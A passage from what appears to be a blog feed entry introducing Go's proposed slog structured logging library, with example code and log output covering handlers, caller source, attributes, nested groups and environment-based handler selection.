		handler slog.Handler
	)

	switch env {
	case "production":
		handler = slog.NewJSONHandler(os.Stdout)
	default:
		handler = slog.NewTextHandler(os.Stdout)
	}

	log := slog.New(handler)
	log.Info("Hello world")
}

$ go run main.go
time=2023-02-15T12:39:45.543+05:30 level=INFO msg="Hello world"
$ APP_ENV=production go run main.go
{"time":"2023-02-15T12:39:53.523477544+05:30","level":"INFO","msg":"Hello world"}

Summary#
slog is an excellent proposal, and it’s high time Go gets its official structured logging library. The API is designed to be easy to use, and a clear path is given for users wanting high-performance/zero-allocs by creating their handlers and making these performance improvements.
Fin]]></description>
            <content:encoded><![CDATA[<p>A few months ago, a <a rel="external" href="https://github.com/golang/go/issues/56345">proposal</a> for adding a structured logging library in Go was introduced by <a rel="external" href="https://github.com/jba">Jonathan Amsterdam</a>. At present, Go has a minimal and bare-bones log package which works all right for basic use cases. However, the current library has a few shortcomings that this proposal aims to solve:</p>
<ul>
<li>Emitting logs with different severity/levels</li>
<li>Structured output: Makes parsing of logs harder</li>
<li>Logging a set of common fields/attributes</li>
<li>Difficult to have a log object inside libraries as each service could have its log implementation.</li>
</ul>
<p>As a result, many code bases have their wrappers around the log package. Additionally, there are plenty of 3rd party libraries to choose from - including <a rel="external" href="https://github.com/zerodha/logf">logf</a> (which my work colleagues and I built at Zerodha).</p>
<p>This article is about how to get started with <a rel="external" href="https://pkg.go.dev/golang.org/x/exp/slog">slog</a> for logging in Go applications.</p>
<blockquote class="admonition note">
    <strong class="admonition-header">NOTE</strong>
    <p><p>Since slog is currently in the proposal state and hasn’t yet merged in the official library, the API could change in future.</p>
</p>
</blockquote>
<h2 id="architecture-of-slog">Architecture of slog<a class="zola-anchor" href="#architecture-of-slog" aria-label="Anchor link for: architecture-of-slog">#</a></h2>
<p>At a higher level, slog contains three main entities:</p>
<ul>
<li><strong>Logger</strong>: The user-facing API for interacting with slog. All the public methods are defined on the Logger object.</li>
<li><strong>Record</strong>: Contains information about the log event itself. A standard record will have timestamp, level and message fields as default. Additional attributes and metadata like caller info can be added to the Record.</li>
<li><strong>Handlers</strong>: A handler is an <em>interface</em> implementation. The Logger object passes the Record to a handler, and the handler can choose whatever it wants to do with the Record. This is a common approach in Go libraries, where a “provider” can be abstracted in handling that task. Currently, slog ships with two handlers: JSON and <a rel="external" href="https://brandur.org/logfmt">logfmt</a>. Some projects have also created handlers for zap/logrus (popular 3rd party libraries).</li>
</ul>
<h3 id="initialization">Initialization<a class="zola-anchor" href="#initialization" aria-label="Anchor link for: initialization">#</a></h3>
<p>This snippet initializes a Text Handler, which produces <code>logfmt</code> format messages on <code>os.Stdout</code>.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">package</span><span style="color: light-dark(#6F42C1, #F69D50);"> main</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> (</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">	&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">os</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">	&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">golang.org/x/exp/slog</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">func</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> main</span><span>(</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span>	log</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> slog</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">New</span><span>(</span><span>slog</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">NewTextHandler</span><span>(</span><span>os</span><span>.</span><span>Stdout</span><span>)</span><span>)</span></span>
<span class="giallo-l"><span>	log</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Info</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Hello world</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>	fakeErr</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> os</span><span>.</span><span>ErrNotExist</span></span>
<span class="giallo-l"><span>	log</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Error</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">something went wrong</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span> fakeErr</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">file</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">/tmp/abc.txt</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span></code></pre>
<p>Log output:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span>time</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">3</span><span style="color: light-dark(#032F62, #96D0FF);">-</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">-</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">T</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">9</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">8</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">.</span><span style="color: light-dark(#032F62, #96D0FF);">6</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">+</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">3</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span> level</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">I</span><span style="color: light-dark(#032F62, #96D0FF);">N</span><span style="color: light-dark(#032F62, #96D0FF);">F</span><span style="color: light-dark(#032F62, #96D0FF);">O</span><span> msg</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Hello world</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>time</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">3</span><span style="color: light-dark(#032F62, #96D0FF);">-</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">-</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">T</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">9</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">8</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">.</span><span style="color: light-dark(#032F62, #96D0FF);">6</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">+</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">3</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span> level</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">E</span><span style="color: light-dark(#032F62, #96D0FF);">R</span><span style="color: light-dark(#032F62, #96D0FF);">R</span><span style="color: light-dark(#032F62, #96D0FF);">O</span><span style="color: light-dark(#032F62, #96D0FF);">R</span><span> msg</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">something went wrong</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> file</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">m</span><span style="color: light-dark(#032F62, #96D0FF);">p</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);">b</span><span style="color: light-dark(#032F62, #96D0FF);">c</span><span style="color: light-dark(#032F62, #96D0FF);">.</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span style="color: light-dark(#032F62, #96D0FF);">x</span><span style="color: light-dark(#032F62, #96D0FF);">t</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">file does not exist</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span></code></pre><h3 id="customizing">Customizing<a class="zola-anchor" href="#customizing" aria-label="Anchor link for: customizing">#</a></h3>
<p>You’ll notice that the caller information isn’t exposed by default. The reason could be that finding the stack trace of the calling line is a bit expensive operation. However, for libraries/apps which need it can do that by customizing the handler:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">func</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> main</span><span>(</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span>	handler</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#6F42C1, #F69D50);"> slog</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">HandlerOptions</span><span>{</span><span>AddSource</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> true</span><span>}</span></span>
<span class="giallo-l"><span>	log</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> slog</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">New</span><span>(</span><span>handler</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">NewTextHandler</span><span>(</span><span>os</span><span>.</span><span>Stdout</span><span>)</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>	log</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Info</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Hello world</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span></code></pre>
<p>Log Output:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span>time</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">3</span><span style="color: light-dark(#032F62, #96D0FF);">-</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">-</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">T</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">7</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">3</span><span style="color: light-dark(#032F62, #96D0FF);">.</span><span style="color: light-dark(#032F62, #96D0FF);">7</span><span style="color: light-dark(#032F62, #96D0FF);">4</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">+</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">3</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span> level</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">I</span><span style="color: light-dark(#032F62, #96D0FF);">N</span><span style="color: light-dark(#032F62, #96D0FF);">F</span><span style="color: light-dark(#032F62, #96D0FF);">O</span><span> source</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">h</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">m</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">k</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);">r</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);">n</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">C</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">P</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">r</span><span style="color: light-dark(#032F62, #96D0FF);">s</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">n</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">s</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">g</span><span style="color: light-dark(#032F62, #96D0FF);">-</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">x</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);">m</span><span style="color: light-dark(#032F62, #96D0FF);">p</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">s</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">m</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);">i</span><span style="color: light-dark(#032F62, #96D0FF);">n</span><span style="color: light-dark(#032F62, #96D0FF);">.</span><span style="color: light-dark(#032F62, #96D0FF);">g</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">4</span><span> msg</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Hello world</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span></code></pre><h3 id="attributes">Attributes<a class="zola-anchor" href="#attributes" aria-label="Anchor link for: attributes">#</a></h3>
<p>Sometimes, it’s helpful to append specific metadata to each log line which will help in aggregating/filtering with a central log-collecting agent. E.g., you can export a component key for each sub-service of your primary application.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">func</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> main</span><span>(</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span>	log</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> slog</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">New</span><span>(</span><span>slog</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">NewTextHandler</span><span>(</span><span>os</span><span>.</span><span>Stdout</span><span>)</span><span>)</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">With</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">component</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">demo</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span>	log</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Info</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Hello world</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span></code></pre>
<p>Log Output:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span>time</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">3</span><span style="color: light-dark(#032F62, #96D0FF);">-</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">-</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">T</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">.</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">3</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">+</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">3</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span> level</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">I</span><span style="color: light-dark(#032F62, #96D0FF);">N</span><span style="color: light-dark(#032F62, #96D0FF);">F</span><span style="color: light-dark(#032F62, #96D0FF);">O</span><span> msg</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Hello world</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> component</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">m</span><span style="color: light-dark(#032F62, #96D0FF);">o</span></span></code></pre><h3 id="nested-keys">Nested Keys<a class="zola-anchor" href="#nested-keys" aria-label="Anchor link for: nested-keys">#</a></h3>
<p>So far, we’ve seen flat keys in the log message. It may be helpful to group together specific keys together and form a nested object. In JSON, that would mean a top-level object with different fields inside. However, in <code>logfmt</code>, it would-be <code>parent.child</code> format.To use nested keys, <code>slog.Group</code> can be used. This example uses <code>http</code> as the top-level key, and all its associated fields will be nested inside.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span>	log</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Info</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Hello world</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span> slog</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Group</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">http</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span>		slog</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">String</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">method</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">GET</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span><span>,</span></span>
<span class="giallo-l"><span>		slog</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Int</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">status</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 200</span><span>)</span><span>,</span></span>
<span class="giallo-l"><span>		slog</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Duration</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">duration</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 250</span><span>)</span><span>,</span></span>
<span class="giallo-l"><span>		slog</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">String</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">method</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">GET</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span><span>,</span></span>
<span class="giallo-l"><span>		slog</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">String</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">path</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">/api/health</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span><span>)</span><span>)</span></span>
<span class="giallo-l"></span></code></pre><pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span>time</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">3</span><span style="color: light-dark(#032F62, #96D0FF);">-</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">-</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">T</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">3</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">4</span><span style="color: light-dark(#032F62, #96D0FF);">3</span><span style="color: light-dark(#032F62, #96D0FF);">.</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">3</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">+</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">3</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span> level</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">I</span><span style="color: light-dark(#032F62, #96D0FF);">N</span><span style="color: light-dark(#032F62, #96D0FF);">F</span><span style="color: light-dark(#032F62, #96D0FF);">O</span><span> msg</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Hello world</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> component</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">m</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#6F42C1, #F69D50);"> http.method</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#032F62, #96D0FF);">G</span><span style="color: light-dark(#032F62, #96D0FF);">E</span><span style="color: light-dark(#032F62, #96D0FF);">T</span><span style="color: light-dark(#032F62, #96D0FF);"> http.status=</span><span style="color: light-dark(#005CC5, #6CB6FF);">200</span><span style="color: light-dark(#032F62, #96D0FF);"> http.duration=250ns</span><span style="color: light-dark(#032F62, #96D0FF);"> http.method=GET</span><span style="color: light-dark(#032F62, #96D0FF);"> http.path=/api/health</span></span></code></pre><h3 id="configurable-handlers">Configurable Handlers<a class="zola-anchor" href="#configurable-handlers" aria-label="Anchor link for: configurable-handlers">#</a></h3>
<p>JSON logs are daunting and tedious to read when locally developing applications. However, it’s a great fit for machine parsing of the logs. <code>logfmt</code> hits the sweet spot for being machine parseable and human-readable.However, thanks to the powerful “interface” implementation approach, it’s easy to switch to any handler via user-configurable methods (like config files/env variables):</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">package</span><span style="color: light-dark(#6F42C1, #F69D50);"> main</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> (</span></span>
